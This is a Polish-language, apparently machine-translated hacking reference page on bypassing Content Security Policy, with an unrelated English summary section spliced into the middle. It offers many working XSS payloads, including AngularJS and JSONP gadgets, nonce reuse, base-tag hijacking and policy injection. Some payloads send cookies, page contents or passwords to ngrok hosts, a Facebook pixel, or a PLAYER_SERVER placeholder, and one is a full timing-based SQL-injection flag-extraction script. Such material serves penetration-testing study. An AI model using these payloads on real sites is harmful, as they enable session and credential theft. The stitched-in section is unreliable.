Content Security Policy (CSP) Bypass

Nauka hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Dołącz do serwera HackenProof Discord, aby komunikować się z doświadczonymi hakerami i łowcami błędów!

Spojrzenie na Hakowanie Zanurz się w treści, które zgłębiają emocje i wyzwania hakowania

Aktualności z Hakowania na Żywo Bądź na bieżąco z szybkim światem hakowania dzięki aktualnościom i spojrzeniom na żywo

Najnowsze Ogłoszenia Bądź na bieżąco z najnowszymi programami bug bounty i istotnymi aktualizacjami platform

Dołącz do nas na Discordzie i zacznij współpracować z najlepszymi hakerami już dziś!

Co to jest CSP

Zasada zabezpieczeń zawartości (CSP) jest uznawana za technologię przeglądarki, głównie mającą na celu ochronę przed atakami takimi jak skrypty międzywitrynne (XSS). Działa poprzez definiowanie i szczegółowe określanie ścieżek i źródeł, z których przeglądarka może bezpiecznie ładować zasoby. Te zasoby obejmują różne elementy, takie jak obrazy, ramki i JavaScript. Na przykład zasada może zezwalać na ładowanie i wykonywanie zasobów z tego samego domeny (self), w tym zasobów wstawionych oraz wykonywanie kodu łańcuchowego za pomocą funkcji takich jak eval, setTimeout lub setInterval.

Wdrożenie CSP odbywa się poprzez nagłówki odpowiedzi lub poprzez włączenie elementów meta na stronie HTML. Zgodnie z tą zasadą, przeglądarki aktywnie egzekwują te postanowienia i natychmiast blokują wszelkie wykryte naruszenia.

  • Wdrożone za pomocą nagłówka odpowiedzi:

Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
  • Wdrożone za pomocą meta tagu:

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">

Nagłówki

CSP można narzucić lub monitorować za pomocą tych nagłówków:

  • Content-Security-Policy: Narzuca CSP; przeglądarka blokuje wszelkie naruszenia.

  • Content-Security-Policy-Report-Only: Używane do monitorowania; raportuje naruszenia bez ich blokowania. Idealne do testowania w środowiskach przedprodukcyjnych.

Definiowanie zasobów

CSP ogranicza pochodzenie ładowania zarówno aktywnych, jak i pasywnych zasobów, kontrolując aspekty takie jak wykonanie skryptów JavaScript w linii oraz użycie eval(). Przykładowa polityka to:

default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';

Dyrektywy

  • script-src: Pozwala na określenie konkretnych źródeł JavaScript, w tym adresów URL, skryptów osadzonych bezpośrednio w kodzie HTML oraz skryptów wywołanych przez event handlery lub arkusze stylów XSLT.

  • default-src: Ustawia domyślną politykę pobierania zasobów, gdy określone dyrektywy pobierania są nieobecne.

  • child-src: Określa dozwolone zasoby dla web workers oraz osadzonych treści ramek.

  • connect-src: Ogranicza adresy URL, które mogą być ładowane za pomocą interfejsów takich jak fetch, WebSocket, XMLHttpRequest.

  • frame-src: Ogranicza adresy URL dla ramek.

  • frame-ancestors: Określa, które źródła mogą osadzać bieżącą stronę, dotyczy elementów takich jak <frame>, <iframe>, <object>, <embed> oraz <applet>.

  • img-src: Definiuje dozwolone źródła dla obrazów.

  • font-src: Określa prawidłowe źródła dla czcionek ładowanych za pomocą @font-face.

  • manifest-src: Określa dozwolone źródła plików manifestu aplikacji.

  • media-src: Określa dozwolone źródła dla ładowania obiektów multimedialnych.

  • object-src: Określa dozwolone źródła dla elementów <object>, <embed> oraz <applet>.

  • base-uri: Określa dozwolone adresy URL do ładowania za pomocą elementów <base>.

  • form-action: Wymienia prawidłowe punkty końcowe dla przesyłania formularzy.

  • plugin-types: Ogranicza typy mime, które strona może wywoływać.

  • upgrade-insecure-requests: Nakazuje przeglądarkom przepisywanie adresów URL HTTP na HTTPS.

  • sandbox: Nakłada ograniczenia podobne do atrybutu sandbox elementu <iframe>.

  • report-to: Określa grupę, do której zostanie wysłane zgłoszenie w przypadku naruszenia polityki.

  • worker-src: Określa prawidłowe źródła dla skryptów Worker, SharedWorker lub ServiceWorker.

  • prefetch-src: Określa prawidłowe źródła dla zasobów, które zostaną pobrane lub wcześniej pobrane.

  • navigate-to: Ogranicza adresy URL, do których dokument może nawigować w dowolny sposób (a, form, window.location, window.open, itp.)

Źródła

  • *: Pozwala na wszystkie adresy URL z wyjątkiem tych z schematami data:, blob:, filesystem:.

  • 'self': Pozwala na ładowanie z tego samego domeny.

  • 'data': Pozwala na ładowanie zasobów za pomocą schematu data (np. obrazów zakodowanych w Base64).

  • 'none': Blokuje ładowanie z dowolnego źródła.

  • 'unsafe-eval': Pozwala na użycie eval() i podobnych metod, niezalecane ze względów bezpieczeństwa.

  • 'unsafe-hashes': Umożliwia określone event handlery osadzone bezpośrednio w kodzie.

  • 'unsafe-inline': Pozwala na użycie zasobów osadzonych bezpośrednio w kodzie, takich jak inline <script> lub <style>, niezalecane ze względów bezpieczeństwa.

  • 'nonce': Biała lista dla konkretnych skryptów osadzonych bezpośrednio w kodzie za pomocą kryptograficznego nonce (jednorazowego numeru).

  • Jeśli wykonanie JS jest ograniczone, można uzyskać użyty nonce na stronie za pomocą doc.defaultView.top.document.querySelector("[nonce]") i następnie ponownie go wykorzystać do ładowania złośliwego skryptu (jeśli używane jest strict-dynamic, dowolne dozwolone źródło może ładować nowe źródła, więc to nie jest konieczne), jak w:

Ładowanie skryptu ponownie wykorzystując nonce
  • 'sha256-<hash>': Umożliwia białą listę skryptów z określonym haszem sha256.

  • 'strict-dynamic': Pozwala na ładowanie skryptów z dowolnego źródła, jeśli zostały uwzględnione na białej liście za pomocą nonce lub hasha.

  • 'host': Określa określony host, na przykład example.com.

  • https:: Ogranicza adresy URL do tych, które używają protokołu HTTPS.

  • blob:: Umożliwia ładowanie zasobów z adresów URL Blob (np. adresów URL Blob utworzonych za pomocą JavaScript).

  • filesystem:: Umożliwia ładowanie zasobów z systemu plików.

  • 'report-sample': Zawiera przykład naruszającego kodu w raporcie naruszeń (przydatne do debugowania).

  • 'strict-origin': Podobnie jak 'self', ale zapewnia, że poziom zabezpieczeń protokołu źródeł odpowiada dokumentowi (tylko bezpieczne źródła mogą ładować zasoby z bezpiecznych źródeł).

  • 'strict-origin-when-cross-origin': Wysyła pełne adresy URL podczas wykonywania żądań o takim samym pochodzeniu, ale wysyła tylko pochodzenie, gdy żądanie jest między pochodzeniami.

  • 'unsafe-allow-redirects': Umożliwia ładowanie zasobów, które natychmiast przekierują do innego zasobu. Nie zaleca się, ponieważ osłabia to bezpieczeństwo.

Niebezpieczne zasady CSP

'unsafe-inline'

Content-Security-Policy: script-src https://google.com 'unsafe-inline';

Pracujący ładunek: "/><script>alert(1);</script>

self + 'unsafe-inline' za pomocą ramek

pageCSP bypass: self + 'unsafe-inline' with Iframes

'unsafe-eval'

To nie działa, aby uzyskać więcej informacji sprawdź to.

Content-Security-Policy: script-src https://google.com 'unsafe-eval';

Działający ładunek:

<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>

strict-dynamic

Jeśli w jakiś sposób możesz sprawić, aby dozwolony kod JS utworzył nowy znacznik skryptu w DOM za pomocą swojego kodu JS, ponieważ dozwolony skrypt go tworzy, nowy znacznik skryptu będzie mógł zostać wykonany.

Wildcard (*)

Content-Security-Policy: script-src 'self' https://google.com https: data *;

Działający ładunek:

"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>

Brak object-src i default-src

Wygląda na to, że to już nie działa

Content-Security-Policy: script-src 'self' ;

Działające ładunki:

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>

Przesyłanie plików + 'self'

Content-Security-Policy: script-src 'self';  object-src 'none' ;

Jeśli możesz przesłać plik JS, możesz ominąć tę CSP:

Działający ładunek:

"/>'><script src="/uploads/picture.png.js"></script>

Jednakże jest bardzo prawdopodobne, że serwer sprawdza przesłany plik i pozwoli Ci tylko przesłać określony rodzaj plików.

Co więcej, nawet jeśli udałoby Ci się przesłać kod JS wewnątrz pliku za pomocą akceptowanego przez serwer rozszerzenia (np. script.png), to i tak to nie wystarczy, ponieważ niektóre serwery, jak serwer apache, wybierają typ MIME pliku na podstawie rozszerzenia i przeglądarki, takie jak Chrome, odmówią wykonania kodu Javascript w czymś, co powinno być obrazem. "Na szczęście", są błędy. Na przykład, z CTF dowiedziałem się, że Apache nie rozpoznaje rozszerzenia .wave, dlatego nie serwuje go z typem MIME takim jak audio/*.

Stąd, jeśli znajdziesz XSS i możliwość przesłania pliku, oraz uda Ci się znaleźć błędne rozszerzenie, możesz spróbować przesłać plik z tym rozszerzeniem i zawartością skryptu. Lub, jeśli serwer sprawdza poprawny format przesłanego pliku, stwórz poliglot (kilka przykładów poliglotów tutaj).

Form-action

Jeśli nie jest możliwe wstrzyknięcie JS, nadal możesz spróbować np. wydobyć dane, wstrzykując akcję formularza (i być może licząc na automatyczne wypełnienie haseł przez menedżery haseł). Możesz znaleźć przykład w tym raporcie. Zauważ także, że default-src nie obejmuje akcji formularza.

Zewnętrzne punkty końcowe + ('unsafe-eval')

Dla niektórych z poniższych ładunków unsafe-eval nie jest nawet potrzebne.

Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';

Załaduj podatną wersję angulara i wykonaj dowolny kod JS:

<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>


"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>


"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>


With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>

Payloady wykorzystujące Angular + bibliotekę z funkcjami zwracającymi obiekt window (sprawdź ten post):

W poście pokazano, że można załadować wszystkie biblioteki z cdn.cloudflare.com (lub dowolnego innego repozytorium zezwolonych bibliotek JS), wykonać wszystkie dodane funkcje z każdej biblioteki i sprawdzić, które funkcje z których bibliotek zwracają obiekt window.

<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert('xss')}}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{[].erase.call().alert('xss')}}
</div>

Angular XSS z nazwy klasy:

<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>

Nadużywanie kodu JS google recaptcha

Zgodnie z tym opisem CTF można nadużyć https://www.google.com/recaptcha/ wewnątrz CSP, aby wykonać dowolny kod JS omijając CSP:

<div
ng-controller="CarouselController as c"
ng-init="c.init()"
>
&#91[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>

<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>

Więcej payloadów z tego wpisu:

<script src='https://www.google.com/recaptcha/about/js/main.min.js'></script>

<!-- Trigger alert -->
<img src=x ng-on-error='$event.target.ownerDocument.defaultView.alert(1)'>

<!-- Reuse nonce -->
<img src=x ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)'>

Wykorzystywanie www.google.com do przekierowania

Następujący adres URL przekierowuje do example.com (z tutaj):

https://www.google.com/amp/s/example.com/

Trzecie punkty końcowe + JSONP

Możliwe jest nadużycie Google Apps Script w celu otrzymywania informacji na stronie wewnątrz script.google.com. Tak jak to zostało zrobione w tym raporcie.

Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';

Scenariusze, w których script-src jest ustawiony na self i określona domena jest dodana do białej listy, można obejść, korzystając z JSONP. Punkty końcowe JSONP pozwalają na niebezpieczne metody wywołań zwrotnych, które umożliwiają atakującemu wykonanie XSS, działający ładunek:

"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>

JSONBee zawiera gotowe do użycia punkty końcowe JSONP do obejścia CSP na różnych stronach internetowych.

Ta sama podatność wystąpi, jeśli zaufany punkt końcowy zawiera Przekierowanie Otwarte, ponieważ jeśli początkowy punkt końcowy jest zaufany, to przekierowania są uznawane za zaufane.

Nadużycia osób trzecich

Jak opisano w poniższym poście, istnieje wiele domen osób trzecich, które mogą być dozwolone gdzieś w CSP, mogą być wykorzystane do eksfiltracji danych lub wykonania kodu JavaScript. Niektóre z tych podmiotów trzecich to:

PodmiotDozwolona DomenaZdolności

Facebook

www.facebook.com, *.facebook.com

Eksfil

Hotjar

*.hotjar.com, ask.hotjar.io

Eksfil

Jsdelivr

*.jsdelivr.com, cdn.jsdelivr.net

Wykonanie

Amazon CloudFront

*.cloudfront.net

Eksfil, Wykonanie

Amazon AWS

*.amazonaws.com

Eksfil, Wykonanie

Azure Websites

*.azurewebsites.net, *.azurestaticapps.net

Eksfil, Wykonanie

Salesforce Heroku

*.herokuapp.com

Eksfil, Wykonanie

Google Firebase

*.firebaseapp.com

Eksfil, Wykonanie

Jeśli znajdziesz którąś z dozwolonych domen w CSP swojego celu, istnieje szansa, że będziesz w stanie obejść CSP, rejestrując się w usłudze osób trzecich i albo eksfiltrując dane do tej usługi, albo wykonując kod.

Na przykład, jeśli znajdziesz następujący CSP:

Content-Security-Policy​: default-src 'self’ www.facebook.com;​

Bypassing Content Security Policy (CSP)


Introduction

Content Security Policy (CSP) is a security standard that helps prevent cross-site scripting (XSS), clickjacking, and other code injection attacks by allowing web developers to control the resources that a specific page can load. However, in some cases, it is possible to bypass CSP protections using various techniques.

Bypassing CSP using unsafe-inline

One common way to bypass CSP is by exploiting the unsafe-inline directive. This directive allows the execution of inline scripts and styles, which can be abused by an attacker to inject malicious code into the page.

Bypassing CSP using data: URIs

Another technique to bypass CSP is by using data: URIs to embed external resources directly into the HTML document. By encoding the external resource into a base64 string, an attacker can load external scripts or styles without triggering CSP violations.

Bypassing CSP using nonce or hash

CSP also allows developers to whitelist specific inline scripts by using a nonce or a hash. An attacker can bypass this protection by finding a way to inject a script that matches the nonce or hash value specified in the CSP header.

Conclusion

While Content Security Policy is a powerful security mechanism to protect web applications from various attacks, it is essential to understand the potential bypass techniques to ensure robust protection against malicious actors.

Content-Security-Policy​: connect-src www.facebook.com;​

Powinieneś móc wyciekać dane, podobnie jak zawsze było to robione za pomocą Google Analytics/Google Tag Manager. W tym przypadku postępuj zgodnie z tymi ogólnymi krokami:

  1. Utwórz konto dewelopera na Facebooku tutaj.

  2. Utwórz nową aplikację "Facebook Login" i wybierz "Strona internetowa".

  3. Przejdź do "Ustawienia -> Podstawowe" i uzyskaj swój "ID aplikacji".

  4. Na stronie docelowej, z której chcesz wyciekać dane, możesz wyciekać dane bezpośrednio, korzystając z gadżetu Facebook SDK "fbq" poprzez "customEvent" i ładunek danych.

  5. Przejdź do "Menedżera zdarzeń" swojej aplikacji i wybierz utworzoną aplikację (zauważ, że menedżer zdarzeń można znaleźć pod adresem URL podobnym do tego: https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events

  6. Wybierz zakładkę "Test Events", aby zobaczyć zdarzenia wysyłane przez stronę internetową "twoją".

Następnie, po stronie ofiary, wykonaj poniższy kod, aby zainicjować piksel śledzenia Facebooka, który będzie wskazywał na aplikację dewelopera na Facebooku atakującego z identyfikatorem aplikacji i wydał zdarzenie niestandardowe w ten sposób:

fbq('init', '1279785999289471');​ // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{​
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"​
});

Bypass za pomocą RPO (Relative Path Overwrite)

Oprócz wspomnianej wcześniej przekierowania w celu ominięcia ograniczeń ścieżki istnieje inna technika o nazwie Relative Path Overwrite (RPO), która może być użyta na niektórych serwerach.

Na przykład, jeśli CSP zezwala na ścieżkę https://example.com/scripts/react/, można ją ominąć w następujący sposób:

<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>

Przeglądarka ostatecznie załaduje https://example.com/scripts/angular/angular.js.

To działa, ponieważ dla przeglądarki ładowany jest plik o nazwie ..%2fangular%2fangular.js znajdujący się w https://example.com/scripts/react/, co jest zgodne z CSP.

Następnie zdekodują to, efektywnie żądając https://example.com/scripts/react/../angular/angular.js, co jest równoważne z https://example.com/scripts/angular/angular.js.

Wykorzystując tę niekonsekwencję w interpretacji adresów URL między przeglądarką a serwerem, reguły ścieżki mogą zostać obejścia.

Rozwiązaniem jest nie traktowanie %2f jako / po stronie serwera, zapewniając spójną interpretację między przeglądarką a serwerem, aby uniknąć tego problemu.

Przykład online:https://jsbin.com/werevijewa/edit?html,output

Wykonywanie JS w ramkach

pageIframes in XSS, CSP and SOP

brakujący base-uri

Jeśli dyrektywa base-uri jest pominięta, można ją wykorzystać do wykonania wstrzyknięcia zawieszonego znacznika.

Co więcej, jeśli strona ładuje skrypt za pomocą ścieżki względnej (np. <script src="/js/app.js">) używając Nonce, można wykorzystać tag base do załadowania skryptu z własnego serwera osiągając XSS. Jeśli podatna strona jest ładowana z httpS, użyj adresu URL httpS w tagu base.

<base href="https://www.attacker.com/">

Wydarzenia AngularJS

Konkretna polityka znana jako Content Security Policy (CSP) może ograniczać zdarzenia JavaScript. Niemniej jednak AngularJS wprowadza niestandardowe zdarzenia jako alternatywę. W ramach zdarzenia AngularJS dostarcza unikalny obiekt $event, odnoszący się do natywnego obiektu zdarzenia przeglądarki. Ten obiekt $event może być wykorzystany do obejścia CSP. Warto zauważyć, że w Chrome obiekt $event/event posiada atrybut path, przechowujący tablicę obiektów zaangażowanych w łańcuch wykonania zdarzenia, z obiektem window zawsze umieszczonym na końcu. Ta struktura jest kluczowa dla taktyk ucieczki z piaskownicy.

Poprzez kierowanie tej tablicy do filtra orderBy, możliwe jest iterowanie po niej, wykorzystując terminalny element (obiekt window) do wywołania globalnej funkcji, takiej jak alert(). Przedstawiony poniżej fragment kodu ilustruje ten proces:

<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x

Ten fragment podkreśla użycie dyrektywy ng-focus do wywołania zdarzenia, korzystając z $event.path|orderBy do manipulacji tablicą path, oraz wykorzystując obiekt window do wykonania funkcji alert(), ujawniając w ten sposób document.cookie.

Znajdź inne obejścia Angulara na https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

AngularJS i domena na białej liście

Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
Polityka CSP, która umożliwia ładowanie skryptów z białej listy domen w aplikacji Angular JS, może zostać obejśnięta poprzez wywołanie funkcji zwrotnych i pewnych podatnych klas. Więcej informacji na temat tej techniki można znaleźć w szczegółowym przewodniku dostępnym w tym [repozytorium git](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh\*t,-it's-CSP!%22).

Przykładowe ładunki:
<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>

<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">

Inne punkty końcowe do dowolnego wykonania JSONP można znaleźć tutaj (niektóre z nich zostały usunięte lub naprawione)

Bypass za pomocą przekierowania

Co się dzieje, gdy CSP napotyka przekierowanie po stronie serwera? Jeśli przekierowanie prowadzi do innej domeny, która nie jest dozwolona, to i tak zakończy się niepowodzeniem.

Jednakże, zgodnie z opisem w specyfikacji CSP 4.2.2.3. Ścieżki i przekierowania, jeśli przekierowanie prowadzi do innej ścieżki, może ominąć oryginalne ograniczenia.

Oto przykład:

<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src http://localhost:5555 https://www.google.com/a/b/c/d">
</head>
<body>
<div id=userContent>
<script src="https://https://www.google.com/test"></script>
<script src="https://https://www.google.com/a/test"></script>
<script src="http://localhost:5555/301"></script>
</div>
</body>
</html>

Jeśli CSP jest ustawione na https://www.google.com/a/b/c/d, ponieważ ścieżka jest brana pod uwagę, zarówno skrypty /test, jak i /a/test zostaną zablokowane przez CSP.

Jednakże, ostateczny http://localhost:5555/301 zostanie przekierowany po stronie serwera do https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//. Ponieważ jest to przekierowanie, ścieżka nie jest brana pod uwagę, a skrypt może być załadowany, co umożliwia obejście ograniczeń ścieżki.

Dzięki temu przekierowaniu, nawet jeśli ścieżka jest wskazana w całości, nadal zostanie obejśnięta.

Dlatego najlepszym rozwiązaniem jest upewnienie się, że witryna nie posiada podatności na otwarte przekierowania oraz że nie ma domen, które mogą być wykorzystane w regułach CSP.

Ominięcie CSP za pomocą zawieszonego znacznika

Przeczytaj tutaj.

'unsafe-inline'; img-src *; za pomocą XSS

default-src 'self' 'unsafe-inline'; img-src *;

'unsafe-inline' oznacza, że można wykonać dowolny skrypt wewnątrz kodu (XSS może wykonać kod), a img-src * oznacza, że można użyć na stronie internetowej dowolnego obrazu z dowolnego źródła.

Można ominąć tę CSP, eksfiltrując dane za pomocą obrazów (w tym przypadku XSS wykorzystuje CSRF, gdzie strona dostępna dla bota zawiera SQLi i wydobywa flagę za pomocą obrazu):

<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>

Z https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle

Możesz również nadużyć tej konfiguracji, aby załadować kod JavaScript wstawiony wewnątrz obrazu. Jeśli na przykład strona pozwala na ładowanie obrazów z Twittera. Możesz stworzyć specjalny obraz, przesłać go na Twittera i nadużyć "unsafe-inline" do wykonania kodu JS (jak w zwykłym XSS), który załaduje obraz, wydobędzie z niego JS i wykona go: https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/

Z Użyciem Pracowników Usługi

Funkcja importScripts pracowników usługi nie jest ograniczona przez CSP:

pageAbusing Service Workers

Wstrzykiwanie Polityki

Badania: https://portswigger.net/research/bypassing-csp-with-policy-injection

Chrome

Jeśli parametr wysłany przez ciebie jest wklejany do deklaracji polityki, to możesz zmienić politykę w taki sposób, że stanie się bezużyteczna. Możesz zezwolić na skrypt 'unsafe-inline' za pomocą któregokolwiek z tych obejść:

script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'

Ponieważ ta dyrektywa nadpisze istniejące dyrektywy script-src. Przykład można znaleźć tutaj: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E

Edge

W Edge jest znacznie prostsze. Jeśli możesz dodać do CSP tylko to: ;_ Edge odrzuci całą politykę. Przykład: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E

img-src *; za pomocą XSS (iframe) - Atak czasowy

Zauważ brak dyrektywy 'unsafe-inline' Tym razem możesz sprawić, że ofiara załaduje stronę pod Twoją kontrolą za pomocą XSS z <iframe. Tym razem sprawisz, że ofiara uzyska dostęp do strony, z której chcesz wydobyć informacje (CSRF). Nie możesz uzyskać dostępu do zawartości strony, ale jeśli w jakiś sposób możesz kontrolować czas potrzebny na załadowanie strony, możesz wydobyć potrzebne informacje.

Tym razem flaga zostanie wydobyta, za każdym razem gdy poprawnie zgadnięty jest znak za pomocą SQLi, odpowiedź trwa dłużej ze względu na funkcję sleep. Wtedy będziesz mógł wydobyć flagę:

<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name=f id=g></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org";
function gen(x) {
x = escape(x.replace(/_/g, '\\_'));
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`;
}

function gen2(x) {
x = escape(x);
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`;
}

async function query(word, end=false) {
let h = performance.now();
f.location = (end ? gen2(word) : gen(word));
await new Promise(r => {
g.onload = r;
});
let diff = performance.now() - h;
return diff > 300;
}

let alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789'.split('');
let postfix = '}'

async function run() {
let prefix = 'nn9ed{';
while (true) {
let i = 0;
for (i;i<alphabet.length;i++) {
let c = alphabet[i];
let t =  await query(prefix+c); // Check what chars returns TRUE or FALSE
console.log(prefix, c, t);
if (t) {
console.log('FOUND!')
prefix += c;
break;
}
}
if (i==alphabet.length) {
console.log('missing chars');
break;
}
let t = await query(prefix+'}', true);
if (t) {
prefix += '}';
break;
}
}
new Image().src = 'http://PLAYER_SERVER/?' + prefix; //Exfiltrate the flag
console.log(prefix);
}

run();
</script>

Za pomocą zakładek

Ten atak zakłada pewne inżynierii społecznej, gdzie atakujący przekonuje użytkownika, aby przeciągnął i upuścił link na zakładkę przeglądarki. Ta zakładka zawierałaby złośliwy kod JavaScript, który po przeciągnięciu lub kliknięciu byłby wykonany w kontekście bieżącego okna przeglądarki, omijając CSP i umożliwiając kradzież wrażliwych informacji takich jak ciasteczka lub tokeny.

Aby uzyskać więcej informacji, sprawdź oryginalny raport tutaj.

Ominięcie CSP poprzez ograniczenie CSP

W tym rozwiązaniu CTF, CSP jest omijany poprzez wstrzyknięcie bardziej restrykcyjnego CSP do dozwolonej ramki, który uniemożliwiał ładowanie określonego pliku JS, który następnie za pomocą zanieczyszczania prototypu lub nadpisywania DOM pozwalał na wykorzystanie innego skryptu do ładowania dowolnego skryptu.

Możesz ograniczyć CSP ramki za pomocą atrybutu csp:

<iframe src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]" csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>

W tym opisie CTF, było możliwe poprzez wstrzyknięcie HTML ograniczyć bardziej CSP, dzięki czemu skrypt zapobiegający CSTI został wyłączony, a tym samym podatność stała się wykonalna. CSP można zrobić bardziej restrykcyjne, używając metatagów HTML, a skrypty inline można wyłączyć usuwając wpis pozwalający na ich nonce i włączając określony skrypt inline za pomocą sha:

<meta http-equiv="Content-Security-Policy" content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';">

Wydostawanie JS za pomocą Content-Security-Policy-Report-Only

Jeśli uda ci się sprawić, że serwer odpowie nagłówkiem Content-Security-Policy-Report-Only z wartością kontrolowaną przez ciebie (może to być spowodowane CRLF), możesz sprawić, że będzie on wskazywał na twój serwer i jeśli opakujesz zawartość JS, którą chcesz wydobyć za pomocą <script> i ponieważ bardzo prawdopodobne jest, że unsafe-inline nie jest dozwolone przez CSP, spowoduje to błąd CSP i część skryptu (zawierająca wrażliwe informacje) zostanie wysłana na serwer z Content-Security-Policy-Report-Only.

Przykład znajdziesz w tym opisie rozwiązania CTF.

document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'></iframe>";

Wyciek informacji za pomocą CSP i Iframe

